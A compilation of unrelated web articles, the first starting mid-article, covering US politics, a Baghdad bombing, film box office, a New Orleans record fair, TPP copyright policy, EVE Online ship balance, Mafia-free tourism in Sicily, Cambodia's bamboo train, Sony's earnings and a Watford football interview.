Feinstein, who has made public similar requests, said she wrote to Rick Dearborn, a deputy White House chief of staff; Maria Butina, a former assistant to Alexander Torshin, a deputy governor of the Russian central bank; and Rick Clay, an advocate for conservative Christian causes.
She asked all three for interviews and for documents related to what she described as efforts by Torshin to arrange a meeting between Putin and Trump when he was a presidential candidate.
COLLUSION DENIED
The Russian government has denied any effort to affect the election and Trump has dismissed talk of collusion.
A range of Trump associates has been called to testify during the investigation. Last week, U.S. Attorney General Jeff Sessions spoke to the House panel behind closed doors, as did Erik Prince, who founded the military contractor Blackwater and was a supporter of Trump’s campaign.
A transcript of Prince’s testimony could be released as soon as Monday. There are no plans to release Sessions’ testimony.
Among other people with ties to Trump who are expected to appear in Congress are Jared Kushner, the president’s close adviser and son-in-law, who had testified to the House committee behind closed doors in July.
Representative Adam Schiff, the top Democrat on the House panel, said last week that it would “very likely” be necessary for Kushner to testify again.
Led by Trump’s fellow Republicans, congressional committees have also called to testify some aides to former Democratic President Barack Obama and former Secretary of State Hillary Clinton, Trump’s 2016 opponent.
On Monday, Clinton’s former campaign manager John Podesta testified before the committee, The Hill reported, citing Republican Representative Mike Conaway, the Republican leading the investigation.
A Conaway spokeswoman did not response to a request for comment. |
Adelaide Team Set To Join Super Rugby
Adelaide Team Set To Join Super Rugby
–SMH—
An upstart Super Rugby franchise located in Adelaide have taken out a court injunction demanding immediate inclusion into the Super Rugby competition. “We have bided our time for long enough, LONG ENOUGH” a team spokesman said. “It is constitutionally un-Australian to continue to deny us inclusion in the Super Rugby competition. We also demand big f*cking financial bailouts from the ARU so we can follow our romantic dream of being the hero every f*cking Saturday arvo. No more questions. F**k you all.”
The Adelaide-based franchise have secured a number of high profile backers including but not limited to Alan Jones, Bob Dwyer, Bill Gates, Aunty Doris Gunston, Pat Lam, David Nucifora, John Kirwan, Tasesa Lavea and attorney-at-law Mr Lionel Hutz. The esteemed lawyer was in fact responsible for coining the new team name.
“The Adelaide Delaidelaydelaydelaiders! GO TEAM!” |
Debris lays strewn at the site of a bomb attack inside a Shi'ite mosque in Baghdad May 27, 2014. REUTERS/Thaier Al-Sudani
BAGHDAD (Reuters) - A suicide bomber blew himself up inside a Shi’ite mosque in central Baghdad on Tuesday, killing at least 19 people, security and medical sources said.
A Reuters photographer at the site of the blast in the busy district of Shorja said the mosque’s walls were blackened with smoke, blood streaked the ceiling, and prayer mats were strewn around.
Most of the victims were merchants and shopkeepers from the area who had gone to pray. Policeman Abbas Inad told Reuters: “The bomb was so big and stuffed with tiny metal balls to kill as many people as possible.”
It was not immediately clear who was behind the bombing, but Sunni Islamist insurgents have been regaining momentum in Iraq and have previously claimed responsibility for attacking Shi’ite places of worship.
Security and medical sources earlier said the bomb had exploded at an open-air bus station within range of the mosque.
The injured were rushed to nearby hospitals but the rescue effort was hampered by blast walls surrounding the market designed to limit the damage of an explosion.
Hospital sources said the death toll was likely to rise due to the severity of the injuries. |
Sorry, Tony Stark, but Katniss Everdeen has caught you in her crosshairs and adeptly taken you down.
"The Hunger Games: Catching Fire" just surpassed $409 million (by $400,000) on Thursday night at the U.S. box office, beating what had previously been 2013's No. 1 movie in America — "Iron Man 3" (which made $409 mil, and not as much change).
Yes, "Catching Fire" is now the victor of all films released in 2013.
[Related: The 10 Biggest Box-Office Surprises of 2013]
But Tony can rest easy: His flick still holds the 2013 title for the top spot worldwide, having earned more than $1.2 billion. ("Catching Fire" is at No. 3, just behind "Despicable Me 2," with a tad more than $832 million in global earnings.)
The female-led "Hunger Games" flick not only beat the Marvel favorite but also bested itself, surpassing the $408 million it made last year with its series opener. It marks the first time ever that the first two installments of a series has surpassed $400 million, Lionsgate boasted in a press release on Friday.
When it comes to a woman-led box-office champ, "It's a rare thing," says industry analyst Paul Dergarabedian. "Most blockbuster franchises are built around male lead actors," he says, adding, "Of course, both 'The Twilight Saga' and 'Harry Potter' had female characters in essential and key roles, but Jennifer Lawrence is the true center of this film and the movie really rests on her shoulders."
[Related: Meet the Lowest-Grossing Movie of 2013]
"Catching Fire," starring Oscar winner Jennifer Lawrence and based on the wildly popular book series by Suzanne Collins, set records for the biggest November opening weekend of all time ($158.1 million) as well as the biggest three- and five-day Thanksgiving box-office totals ever. It has already become the 13th highest-grossing North American release in history. And yeah, you can still catch it in theaters.
Watch 'The Hunger Games: Catching Fire' Featurette: Behind the Frame: |
February 20th, 10am-5pm at the Peoples Health New Orleans Jazz Market (1436 Oretha Castle Haley Blvd)
Still recovering from Mardi Gras? How does finding a boatload of records and spinning them all weekend sound to you? The Record Raid is back for a winter show, with 28 vendors and over 40 tables full of vinyl, CDs, cassettes and more. The event is indoors, so rain or shine (forecast says shine), hot or cold (forecast says pleasant)!
The parts that should stay the same are the same: free entry, all ages, vendors from all over selling new and used from all genres under the sun. And we're back at the Jazz Market, which went over really well last time.
What's new?
Raffles! We've done 'em before and we're bringing it back. We have prizes from Euclid Records, Skully'z, Retro Music Co., Sinking City Records. We'll also have a turntable up for grabs!
Merch! We'll have some Record Raid branded T-shirts and tote bags for purchase. Any amount that you spend on these or the raffles keeps the Record Raid functioning!
DJs! Sure, we've had DJs at the Record Raid for a while now, but to give WTUL a shout-out for their upcoming pledge drive, we've loaded it up with WTUL DJs. As always, conversational volume and tasteful!
What you should know
Vendors are encouraged to bring credit card readers, but we can't force them to. The nearest ATM is 2 blocks away, so I suggest you bring cash. Street parking only: I didn't hear many complaints about it last time, but maybe I just didn't hear them.
===
FOR IMMEDIATE RELEASE
Record Collectors Seek Out Vinyl, CDs, and More at the Record Raid February 20th at the Peoples Health New Orleans Jazz Market.
Record stores and private collectors sell vinyl, CDs, tapes and more at New Orleans' biggest pop-up record store.
Record Raid is Louisiana's largest and longest-running record show, an event where over 25 vendors sell LPs, 45s, CDs, cassettes and more. The event takes place at the Peoples Health New Orleans Jazz Market at 1436 Oretha Castle Haley Blvd from 10am to 5pm. Music lovers of all ages are welcome and entry is free.
Record Raid started in 2010 as the WTUL Record Fair and has grown alongside the rising popularity of buying music on vinyl. Not only has its audience grown, but New Orleans' growing selection of record stores has grown out of it; Euclid Records NOLA, Captain's Vinyl, Nola MIX, Disko Obscura, Sisters in Christ, Covington's Retro Music Co., and Lafayette's Lagniappe Records all sold at Record Raid prior to finding a permanent storefront.
However, a big part of the Record Raid is finding records from people that aren't as easily sought out. "Jivin'" Gene Mark, formerly a WWOZ DJ, brings his specialized selection of New Orleans golden era rhythm and blues 45s. Ron Webb, the garage sale king of Baton Rouge, tends to bring in boxes upon boxes of cheap LPs priced to move. Fees to sell at Record Raid are kept low to allow anybody to bring out whatever might be cluttering their attic -- often these mystery sellers are where the real gems hide!
The idea behind these events is to grow a greater appreciation for music simply through exposure and to let like-minded music fans find a place to meet. The Peoples Health New Orleans Jazz Market proved to be a great fit for this atmosphere at the last Record Raid. There will also be live DJs provided by WTUL (in the midst of their 2016 pledge drive) and raffles of records, turntables, and other audio paraphernalia.
For more information contact
Hunter King
504 444 2442
[email protected]
Event info at
www.recordraid.com
https://www.facebook.com/events/905298146228471/ |
Blogs ACTA the Sequel: The Transpacific Partnership Agreement January 04, 2011
The ink on the Anti-Counterfeiting Trade Agreement has not yet dried and the Office of the United States Trade Representative (USTR) is already negotiating another trade agreement. This one, called the Transpacific Partnership Agreement (TPP), would cover trade in goods and services and also include a proposed chapter on intellectual property (IP). Countries negotiating the TPP are Australia, Brunei, Chile, Malaysia, New Zealand, Peru, U.S, and Vietnam.
In the past, the United States has used trade agreements as a tool to ratchet up intellectual property (IP) protections, ACTA being the most recent and perhaps the most egregious example. This upward ratchet harms U.S. citizens by codifying harmful provisions, such as the U.S. statutory damages regime and the anti-circumvention of DRM provisions in international rules and consequently preventing domestic reform. It also harms citizens of our trading partners when their governments are forced to adopt IP provisions not in their best interest. The TPP poses the danger of continuing this approach to IP in trade agreements.
Content industry’s vision for the IP chapter
While a text may not have been drafted yet, content owners are doing their bit to ensure that the TPP would contain IP provisions that aggressively protect their interests at the expense of the rest of ours. A paper prepared by the U.S. Business Coalition for TPP (reported to be drafted by the Pharmaceutical Research and Manufactures of America, the US Chamber of Commerce, and the Motion Picture Association of America) and leaked on the Internet, indicates that rights holders are urging the USTR to include in TPP IP protections more extensive than those present in ACTA. Specifically, the paper suggests that the following issues be addressed in TPP:
Temporary copies: The US Business Coalition paper urges TPP countries to include a provision requiring protection for temporary copies. Temporary copies are copies made when you access webpages, or music, or any other content on the Internet. In addition, your computer makes transient copies, such a buffer copies, in the course of replaying such content. These copies have no value independent of the ultimate use they facilitate – your viewing of the movie or listening to the music. Treating them as worthy of copyright protection allows rights holders to claim additional rents where none are due.
Circumvention of digital locks: The paper urges TPP countries to prevent circumvention of digital locks. The WIPO Copyright Treaty and the WIPO Performances and Phonograms Treaty (WPPT) were the first international instruments to impose this obligation on countries. Within the U.S., these treaties were cited as the reason for the enactment of the Digital Millennium Copyright Act (DMCA). The harms caused by the DMCA’s anti-circumvention provisions have been well documented. In a nutshell, while on the one hand the DMCA attempts to prevent copyright infringement by prohibiting an infringer from breaking digital locks (ex: locks used on DVDs) on the other hand, it also prevents lawful uses (ex: preventing you from breaking the locks on the DVD you purchased to play it on your computer running on Linux).
Copyright terms: The paper urges the TPP to provide for longer copyright terms. Current copyright term in the U.S. is life of the author plus 70 years. The TRIPS agreement, which is the baseline IP agreement to which most countries adhere, requires a copyright protection for life of the author plus 50 years. The paper’s suggestion implies that the all TPP countries should extend their terms beyond this minimum. However, most works do not have a commercial life this long. For example, a textbook becomes out of date far before 70 years after the death of its author. Similarly, movies, and music are likely to lose their popular appeal much before the end of their copyright term. Too often, copyright owners lose interest in works whose commercial lives have ended; works become obscure; and historians, educators and documentarians interested in using the work cannot do so because they cannot find the owner to seek permission to use the work. All of this warrants a reassessment of the proper copyright term, not an extension of current copyright terms.
Statutory damages: The paper urges TPP to include a provision on statutory damages, ostensibly similar to the U.S. statutory damages regime. As PK and its allies have pointed out, the U.S. statutory damages regime has led to excessively large damages awards. This regime has resulted in discouraging reliance on fair use thereby stifling innovation because of the threat of a multi-million dollar lawsuit.
The coalition suggests many other worrisome provisions such as requiring ISPs to act as copyright cops and treating individual infringers with the same severity as large-scale pirates.
All countries not on the same page
Fortunately, some of the countries negotiating the TPP seem to be aware of concerns with IP provisions in trade agreements. An internal document of the New Zealand government, leaked on the Internet, indicates the government’s reticence to adopt an IP chapter similar to ACTA. The document observes:
"Analysis of the costs and benefits of IP protection shows that there is a tendency towards overprotection of IP in all our societies, particularly in the areas of copyright and patents. The analysis also shows that the optimal rate of protection differs between countries and that it can differ across time as countries move through different stages of economic development.”
The document also notes how current international policy-making limits the ability of countries to formulate their own policies, suited to the interests of their citizens. It further notes:
“These developments are underpinned by an increasing pressure from rights holders to internationalise a larger array of issues and find international solutions to issues that have only had limited consideration at the national level. This is particularly true for the area of copyright, where rights holders have been seeking the adoption of more intrusive international rules with respect to a range of copyright issues at an early stage of norm development.”
The document cites the WIPO Copyright Treaty (WCT) and the WIPO Performances and Phonograms Treaty (WPPT), (treaties that were cited as the basis for the DMCA), as examples of policies adopted prematurely. It goes on to note how current international IP policies do not address contemporary issues and must be re-evaluated. Referring to the WIPO Copyright Treaty (WCT) and the WIPO Performances and Phonograms Treaty (WPPT), which require countries to prevent the breaking of digital locks, the document observes:
“Developments in the digital content market on the other hand indicate that businesses increasingly recognise that it is not in their interest to enforce copyright through DRM but to focus on monetising current internet user behaviour rather than trying to restrict it. This suggests that neither the WCT nor the WPPT reflect the complexity of creative investment in an online environment and their scope to act as a promoter of innovation remains questionable.”
In addition to the substantive problems with IP chapters of trade agreements, the document reveals awareness that these agreements are perceived as “secret” deals. It talks about the need to engage civil society groups on these issues.
Like the New Zealand Government, the U.S government should re-evaluate its domestic IP policy and its international engagement on these issues. Many aspects of current copyright law harm US consumers, consumer electronics manufactures, and Internet service providers. Exporting them to other countries would create a binding obligation on the US to retain these policies and prevent it from undertaking any reform.
While we would prefer that the TPP have no IP chapter at all, if the USTR does press ahead with one, it should reflect the interests of all instead of just IP owners. In addition, the process adopted for negotiation should be transparent. The last thing we want is a repeat of the secretive process adopted in negotiating ACTA. This would allow public interest representatives, like PK, to access negotiating texts and influence its substance, just as members of the IP industries can. |
Battlecruisers
Battleships
Combat battleships and Scorpion get 20% more sensor strength and 10% more scan resolution
Attack battleships get 10% more sensor strength and 20% more scan resolution.
All of them get a 25% bonus to lock range
The Warp Speed Rig
Closing words
These ships are currently almost never flown in smaller gangs. Brawling battlecruisers are still seen as solo ships but even in that field they are very rare. In general they feel less effective than cruisers because the PvP-metagame is currently focused on fast stuff and battlecruisers will often be kited to death with ease. Their slow warp speed of 2.5 au/s is not helping them either. The attack battlecruisers are in a bit of a better spot at the moment but combat BCs are nowhere as good as they would need to be in order to be a relevant ship class. It also feels like certain battlecruisers had to pay for their sins and were more or less removed from the game… looking at you Drake and Hurricane. Anyway, kind of like AFs, this entire ship class is not really used anymore because there just simply are better choices. I think they need a heavy rework. I have seen a lot of ideas pushed around, from giving them a destroyer-like role bonus (think along the lines of a 50% tracking bonus) to making their MWD scriptable into an MJD. Personally I would like another bonus like the destroyers and perhaps it’s time to scrap that stupid link bonus that’s almost never used. Another thing I have pushed hard for on the CSM is to normalize the warp speeds. Here is a table over t1 ship warp speeds at the moment: Giving the BCs a small bonus of 0.2 au/s would make the percentage the warp speed decreases more consistent across ship classes. While many people may think the extra 0.2 au/s warp speed is insignificant because it doesn’t give them more EFT DPS, I would disagree. Sometimes a minor change like that can make all the difference. I don’t even know how many times a single second was the difference between me dying and living in a ship. In summary, there is a big problem at the moment with battlecruisers being outclassed as a combat platform by many cruiser hulls and not really being a factor in the PvP-metagame. Giving them a good role bonus, warp speed and some more speed on grid could change this.Unlike battlecruisers I actually like battleships a lot for small gangs. They are a large platform so they can bring a lot of utility like heavy neuts, smartbombs or micro jump drives. The large guns also have great projection compared to medium guns. It’s a curious fact that the battleships used for small gang PvP are generally faster than battlecruisers, a smaller ship class. They are strong enough to sacrifice a rig slot or two for hyperspatial velocity rigs to get a semi-competitive warp speed. With that said, the class is not without problems. I feel like there is a problem with lock speeds and sensor stats in general on the battleships. I don’t like the fact that sensor boosters are almost necessary in today’s age of super fast ships and links making Interceptors able to burn away 100km and tackle you before you can lock them.Let’s take a look at all the battleships grouped by tiericide role: Lock-ranges under 100 km are highlighted because this is a very special and important stat. Having a lock-range over 100km allows Micro Jump Drives to be used offensively rather than just for defense. With a lock range over 100 km you can lock a target and use the MJD to jump on top of them without losing lock. There is also a problem here with battleships having lock-ranges way below their weapon ranges. I would really like to see all battleships’ lock-ranges brought up to at least 100km or even higher. Another important stat here is the scan resolution in combination with the sensor strength. Battleships are currently really easy to control with EWAR and are heavily penalized for warping in and out due to being so slow. Unlike cruisers, they are not able to burn out to 250km and back with ease. Additionally, being jammed is one of the biggest frustrations with a battleship since most of the time you won’t regain lock before the second ECM cycle hits. There is not much of an increase in sensor strength from a cruiser to a battleship. To deal with those problems, Suitonia from Hydra Reloaded suggested the following changes to combat- attack- and EWAR battleshipsThe resulting stats would look like this. Currently this is one of the most useful rigs for roaming battleship groups and it is fitted regularly, at least amongst the people I know. It’s almost a necessity on battleships if they wish to keep up with the support cruisers. The problem here is that fitting it comes with a high penalty of -10% to -5% CPU, depending on your skills. You also give up rig slots which are particularly important on battlecruisers that need the extra power and can’t trade it for more warp speed. You are basically giving up an extra 15% shield or armor HP from a potential defensive rig and you lose fitting capacity at the same time. I think it’s a really good idea from CCP to change the CPU penalty to a signature penalty. Like with battlecruisers I would also suggest a small boost in warp speed for battleships up to 2.2 au/s which would allow them to hit the magical 3 au/s with two Hyperspatial rigs.I really feel that the upcoming changes will help some ships a lot. It’s good to see that CCP are actually listening to us in the CSM and that the community has a say in the balance of some things. CCP are currently taking small steps with some changes and while I personally think that battlecruisers in general need a rework, they might not want to take such drastic measures. The changes to hyperspatials are fantastic though, because they will allow more flexibility for battleships and battlecruisers who almost always choose at least one of these rigs if they are planning on doing longer roams. While CCP haven’t said anything about upcoming targeting stat buffs for battleships, they might consider them in the future. |
U.S. President Barack Obama has selected a partner at the investment firm of Goldman Sachs in Chicago to be the new U.S. ambassador to Canada, CBC News has learned.
Sources tell CBC News Network's Power & Politics that Bruce Heyman has accepted the job but still has to pass a vetting process in order to be be formally nominated. His confirmation will be up to the U.S. Congress.
If he is approved, Heyman would replace David Jacobson, who has held the position since 2009. Jacobson is also from Chicago.
Well known as a high-level fundraiser to Barack Obama, Heyman and his wife Vicki, also a fundraiser, raised more than $1 million for Obama and were on his national finance committee.
Heyman runs the private wealth fund at Goldman Sachs and his areas of responsibility include parts of Canada.
Sources tell CBC News that although Heyman is Obama's top choice he still has to pass a rigorous vetting process.
Another powerful Chicago fundraiser for Obama, Penny Pritzker, was reported to be Obama's pick for Commerce secretary four years ago but pulled out during the vetting process. Pritzker is now being mentioned again as Obama's likely nominee for Commerce.
Also on HuffPost |
When Milton Friedman received the 1976 Nobel Memorial Prize in Economic Sciences, a protester disrupted the ceremony with shouts of “down with capitalism, freedom for Chile.” Three decades later, in The Shock Doctrine, Naomi Klein repackaged that outburst for a new generation of hecklers, blaming Friedman for Augusto Pinochet’s brutal dictatorship and the U.S. occupation of Iraq. It mattered little that Friedman had explicitly denounced both Pinochet’s human rights abuses and the Iraq war.
The anti-Friedman movement has also manifested itself in the form of this sticker, which began appearing on walls, bus stops, and newspaper stands in Washington, D.C., in early 2009. The stark black-and-white design features Friedman’s smiling face above the caption “Milton Friedman/Proud Father of Global Misery.”
But by making a principled case for free markets, international trade, and individual rights, Friedman actually helped create the opposite of global misery. Millions of people continue to be lifted out of poverty worldwide based on these principles. If more politicians had listened to Friedman’s warnings about loose money and ill-conceived interventions in the economy, we might have avoided the latest round of economic misery as well. |
Remote usually means relaxing when choosing a spot for a family holiday - but when your bed and breakfast was previously owned by a Sicilian Mafia boss, the charm of isolation can begin to fade.
Salvatore Riina, otherwise known as The Beast, personally ordered the murders of magistrates, policemen and scores of rivals throughout two decades. He was finally captured near Palermo in May 1993 after 23 years on the run.
As you drive down the wheel-spinningly steep gravel path to his country home in the hillsides surrounding Corleone, you have the sense of being swallowed by the landscape.
Invisible from the main road high above, the low stone building sits nestled in a fold of undulating pasture.
Rumours that Mr Riina hid here to evade capture have never been confirmed but his family certainly worked on this farmland until the Italian government seized the property under a law passed in 1996.
Image caption Salvatore Riina is thought to have personally killed 40 men
It was then transferred to a co-operative that over the past decade has been steadily transforming repossessed former Mafia haunts into ethical ("Mafia-free") businesses - organic wine and food production, guesthouses and restaurants
It was definitely a little disconcerting, on our first night, to find we were the only guests… and that there was no phone signal.
But the restaurant attached to the farmhouse was open for business and a hearty Sicilian meal settled our nerves, as did the young mum on overnight duty that evening. "Ten years ago, there was no way I would have slept in this place alone" said Fabiana. "But I don't even give it a second thought now."
Right now, the notorious Riina family has more on its plate than tourists eating in their former stables. This summer, 79-year-old Gaetano Riina, alleged to have been the clan's cashier, was arrested along with three younger family members.
Local people do seem reluctant, though, to visit the farmhouse despite the good-value food on offer.
The clients mostly come from further afield, customers of a new brand of Sicilian travel agency offering Mafia-free holidays at establishments that refuse to pay protection money, or "pizzo".
Shuttered windows
Image caption Corleone is still home to powerful Mafia families
A group of 50 teenagers from a college in Bologna filled the restaurant one lunchtime with excited chatter. "It's a victory over the Mafia that we're here to eat at this table," said 18-year-old Cristiana.
But the Sicilian Mafia, or Cosa Nostra, are ever-present. "We all still know who the local bosses are right now," says one local. "They're just not the brutal gangster types of the olden days."
Five miles up the road is the town of Corleone. Tourists often pose alongside the sign, not realising that the famous Godfather films were actually filmed elsewhere in Sicily. Judging by the numbers of shop windows displaying bottles of Il Padrino wine, local businesses are happy to exploit the town's on-screen association with violence.
Corleone, though, is still home to powerful Mafia families. There are no visible clues to the wealth that is said to lie behind the firmly shuttered doors and windows of its narrow streets.
Many Sicilian supermarket chains are still run by Mafia interests Lucio Guarino, Consortium for Legal Development
Yet right in the heart of the town, another jailed Mafia boss's home has been radically transformed. Bernardo Provenzano, dubbed The Tractor for his ruthless trait of mowing people down, was arrested and jailed in 2006. Now the giant sign outside his front door says "Bottega della Legalita" or "Shop of Legality".
The ground floor is a shop selling pasta, sauces and wine produced by co-operatives now farming former Mafia land. The shelves were sparsely stocked and there was a distinct lack of customers, I noticed.
"That's because it's absolutely impossible to shop here unseen," explained shop manager Liborio Grizzaffi, gesturing through the open door to the street. Apparently one of Provenzano's relatives still owns the house opposite.
"The older generation is still fearful. But the very fact we are here in Provenzano's family home would have been unthinkable a decade ago. Actually some housewives are now realising that our pasta sauce is really rather good."
Ethical wine
Above the shop is an exhibition that aims to change perceptions of Mafia culture among younger generations.
Particularly disturbing is the tribute to murdered children, including one 11-year-old boy, kidnapped, strangled, and then dissolved in acid. There are also portraits of men and women who bravely fought against the Mafia. Most met unhappy endings.
Image caption Most Mafia-free wine is sold in northern Italy, not Sicily
We turned a corner into a side room showing Mafiosi arrests. And suddenly there he was. Bernardo Provenzano. The building's notorious former owner. Large as life - but fortunately made of cardboard.
There's also a portrait of Giovanni Brusca, a brutal criminal responsible for the kidnap and murder of that poor 11-year-old. The wine sold in the shop downstairs is now produced on Brusca's former vineyards between Corleone and Palermo.
Seven years ago I visited the co-operative setting up legal wine production on this land. Back then, locals were reluctant to work there, some reported intimidation and there were several arson attempts.
Today it feels very different. More than 100 people are employed at the Centopassi vineyards, and I saw construction workers building a new visitor centre and tasting room.
"It feels a little bit like a revolution," says manager Stefano Palmero. "People from nearby towns can choose to work here instead of in Mafia-connected firms."
These vineyards produced 300,000 bottles of wine this year. However, most is sold in Northern Italy rather than in Sicily itself.
"Many Sicilian supermarket chains are still run by Mafia interests," explains Lucio Guarino, director of the agency that manages the confiscated land in Sicily.
"We absolutely refuse to deal with them. It sounds mundane but supermarkets are incredibly important now for the Mafia's control over the land and economy."
Breaking the domination of the Mafia in this part of Italy will be a long process.
Transforming confiscated properties into ethical businesses is certainly a start. Already they're attracting tourists and providing employment in tough economic times, and for the younger generations they're a tangible symbol of legality and hope. |
A norry being disassembled
A norry or nori (Khmer: ណូរី, from the French word for lorry) is an improvised rail vehicle from Cambodia. Lonely Planet describes it as "Cambodia's bamboo train".[1] The trains run at speeds of up to 50 km/h (31 mph) on the metre gauge tracks around Battambang and Poipet. A scheduled service run by the Government also operates, but is slower at 30 km/h around 18 mph. The rest of the network, originally built by the French colonial government, is largely abandoned, after the Khmer Rouge regime effectively shut it down. In 2006 the BBC reported that there was only one scheduled service a week and it ran at not much more than walking pace.[2] In October 2017 the bamboo train was no longer available in the original form due to the national effort to rebuild the rail line from the Thai-Cambodia border town Poipet to Phnom Penh. However, the bamboo train is being rebuilt near Wat Banan in order to cater to the local tourism industry. The relocated site is set to open in middle January 2018.[3]
Overview [ edit ]
The bamboo train is a popular tourist attraction in Battambang
Bamboo train (Norry) station near Battambang
Video clip of norry in operation.
Norries have low fares, and are frequent and relatively fast, so they are popular despite their rudimentary design, lack of brakes, the state of the rails (often broken or warped) and the lack of any formal operating system.[2] Its simple construction and light weight means that a norry can be easily removed from the track – if two meet on the line, the one with the lighter load is removed from the rails and carried round the other. At the end of the line the vehicle is lifted and turned.[4] In August 2016, Norry has been developed with braking system.
There is some precedent for the Norry's popularity. In the 1980s and 1990s, due to the civil war in Cambodia, trains were led by an armed and armoured carriage; the first carriages of the train were flatbeds used as mine sweepers, and travel on these was free for the first carriage and half-price for the second. These options were popular despite the obvious risks.[1]
Norry construction is a cottage industry conducted in trackside villages. It takes around four days to construct one of the vehicles, which have a steel frame overlaid with bamboo slats resting on wheels taken from abandoned tanks.[4]
Originally propelled by hand using punt poles, power is now provided by small motorcycle or tractor engines with belt drive direct to the rear axle, delivering top speeds of 40 km/h or more. Fuel is bought from villages along the route, supplied in glass jars and the flat-bedded vehicles will carry any load that will fit, including people, livestock, motorcycles and rice.[5]
In February 2008 a project was announced to rebuild the railway lines from Sihanoukville to Phnom Penh, Phnom Penh to Poipet and on to Sisophon and the Thai border (a stretch completely destroyed by the Khmer Rouge regime). This was due to be completed at the end of 2009.[6] As of May 2011 this project has only completed from Phnom Penh to Sihanoukville.[7]
As of May 2011 the bamboo train appears to be the only train operating around the Battambang area, which can be observed by the completely overgrown tracks passing through the city. On the outskirts a tourist service operates for $5 per person to a village that has a brick factory.[8] This is overseen by the local Tourist Police.
As of January 2014 there is still a bamboo train ride in Pursat, which goes southeast out of the city for about an hour for a fare of $5 per person.
See also [ edit ]
References [ edit ]
Media related to Draisines of Cambodia at Wikimedia Commons |
The Asian American diaspora is a far-reaching and global phenomenon, and much of the art and literature associated with it rightfully struggles with the idea of being "too foreign for America, too American for the homeland." Understandings of a diasporic Asian American identity have tended to focus on the events that displaced us or our elders from our home communities, as well as the ongoing oppression that Asian Americans face under white supremacy. Many of us may embrace our in-between status as a kind of "borderlands" identity that transcends national or cultural identification, never fully belonging to any of the spaces we inhabit.
As we come to terms with not truly feeling at home on any land, however, we must still acknowledge the reality that we are settled on Indigenous land. This website, while a work in progress, tells you exactly whose land you are living on.
Quechua scholar Sandy Grande criticizes the way that "liminal spaces" and "border identities" are becoming more prevalent in activism and academia, to the detriment of Indigenous identities. She comments that "the undercurrent of fluidity and sense of displacedness" that permeates these conceptions of diasporic identity "runs contrary to American Indian sensibilities of connection to place, land, and the Earth itself… as the physical and metaphysical borders of the postmodern world become increasingly fluid, the desire of American Indian communities to protect geographic borders and employ 'essentialist' tactics also increases."
"As we consider the politics of exile," writes Amazigh activist Nuunja Kahina, "we must step outside ourselves to question: where are we in exile, and on whose backs?" |
Sony has just revised its annual earnings forecast with the addition of a major 180 billion yen (roughly $1.7 billion) "goodwill impairment charge." This relates to Sony's Mobile Communications (MC) business, where the company says it had overestimated revenues from smartphones and tablets and has now decided to alter its strategy and accept the loss. As a result, Sony now anticipates overall losses for the fiscal year ending next March to be over $2.1 billion.
Sony has been in rebuilding mode for a number of years now, looking to narrow down its focus around Kaz Hirai's One Sony strategy and become a more cohesive and agile company. Central to these efforts has been Sony's emphasis on mobile devices: the Xperia range of Android smartphones has kept the company's revenues going even as it was divesting itself of iconic manufacturing divisions like the VAIO laptop line.
Mobile strategy has now been "revised to reduce risk and volatility"
Today's recognition that mobile devices haven't been selling as well as hoped shows an unexpected fragility to what should be the backbone of Sony's revenues. The company's statement accompanying the forecast revision states that the original plan of selling phones at razor-thin profit margins in order to gain market share hasn't paid off. "The overarching strategy for the MC segment has been revised to reduce risk and volatility, and to deliver more stable profits," says Sony. That means a reduction in mid-range devices and a focus on the premium lineup that was recently refreshed with the Xperia Z3 family.
Sony identifies a "significant change in the market and competitive environment of the mobile business" as the primary cause of its frustrated ambitions. Given that its issues relate mostly to the more price-sensitive entry-level and mid-range devices, it's reasonable to conclude that Sony is suffering at the hands of cheaper Chinese alternatives (and even American ones in the shape of the Moto G) in the same way that Samsung is. The renewed focus on premium devices will take time to put into action and will require patience from Sony investors. There'll be no dividend paid for the rest of this year and profits are unlikely to bounce back immediately even if Sony gets everything right. |
Congressman Paul Broun (R-Ga.) said last week that evolution and the big bang theory are "lies straight from the pit of Hell."
"God's word is true. I've come to understand that. All that stuff I was taught about evolution and embryology and the big bang theory, all that is lies straight from the pit of Hell," said Broun, who is an MD. "It's lies to try to keep me and all the folks who were taught that from understanding that they need a savior."
He continued:
"You see, there are a lot of scientific data that I've found out as a scientist that actually show that this is really a young Earth. I don't believe that the earth's but about 9,000 years old. I believe it was created in six days as we know them. That's what the Bible says."
According to NBC News, Broun's comments were part of a larger speech given at the 2012 Sportsman's Banquet at Liberty Baptist Church in Hartwell, Georgia on September 27th. A clip of the video was distributed by the The Bridge Project, a liberal watchdog group.
Broun is a high-ranking member of the House Science Committee, of which Rep. Todd Akin (R-Mo.) is also a member.
Akin made headlines last month for suggesting that women don't get pregnant from "legitimate rape" because their bodies have "ways to try to shut that whole thing down."
As Gawker points out, Broun made headlines in 2009 for trying to make 2010 "the year of the Bible."
Broun is running for reelection unopposed, the AP reports. |
Valon Behrami admits his admiration for the Pozzo family made his decision to join the Hornets from Hamburg an easy one.
The Swiss grafter was at the Hornets' 2-2 draw with AFC Wimbledon a week ago and was an unused substitute in Wednesday's 4-1 win over German amateurs SC Verl. He could make his first outing since joining on a three-year deal from HSV in tomorrow's clash with Paderborn.
As a former Napoli, Fiorentina and Lazio player, the 30-year-old is well aware of the Pozzo family and all they have achieved in 29 years of owning Udinese.
And speaking from the Hornets' training base at Marienfeld, the former West Ham United midfielder admitted his appreciation of the Pozzos' work was a factor in his decision to move to Hertfordshire from Hamburg.
Asked if he had any other offers before joining the Golden Boys, Behrami said: "I had other offers and other chances [to move] and I could have waited because the transfer window is very long, but I like the way the Pozzos work.
"I have known them a long time so I know when they start a new project they are doing something seriously and building something important.
"I had the chance to be involved in this project and I did not have to think too much [about signing]. A big manager like this (Quique Sanchez Flores), with his name was important as well in my choice.
"I need a guide in front of me, I listen to what the manager wants. So I thought about it for two or three days then I was happy to join Watford."
He continued: "The Pozzos are viewed as people who always know what they are doing. They are very intelligent in their work and their scouting is amazing. They find two or three unknown players, give them a chance and then if another club wants to buy them it will be very expensive.
"Even when Udinese have a negative season, every time they improve the next year. They know what to do and what makes the team better. They are very intelligent people within football."
Initially the Hornets' aim for the forthcoming season is simple: avoid an immediate return to the Championship, a division which they spent three seasons trying to escape under the family's ownership.
But after that, who knows? The club is in the best position it has ever been in after reaching the top flight, so what is the ultimate aim long term?
"We did not speak a lot about next year," stated Behrami. "We talked about this season and of course the target is not to be relegated.
"I know the way they work. If we reach this target then they will invest more but we do not have to think about the future, we have to think about now, this season and this preparation.
"I only think we can reach this target if everyone gives 100 per cent and everyone improves in every position in every game."
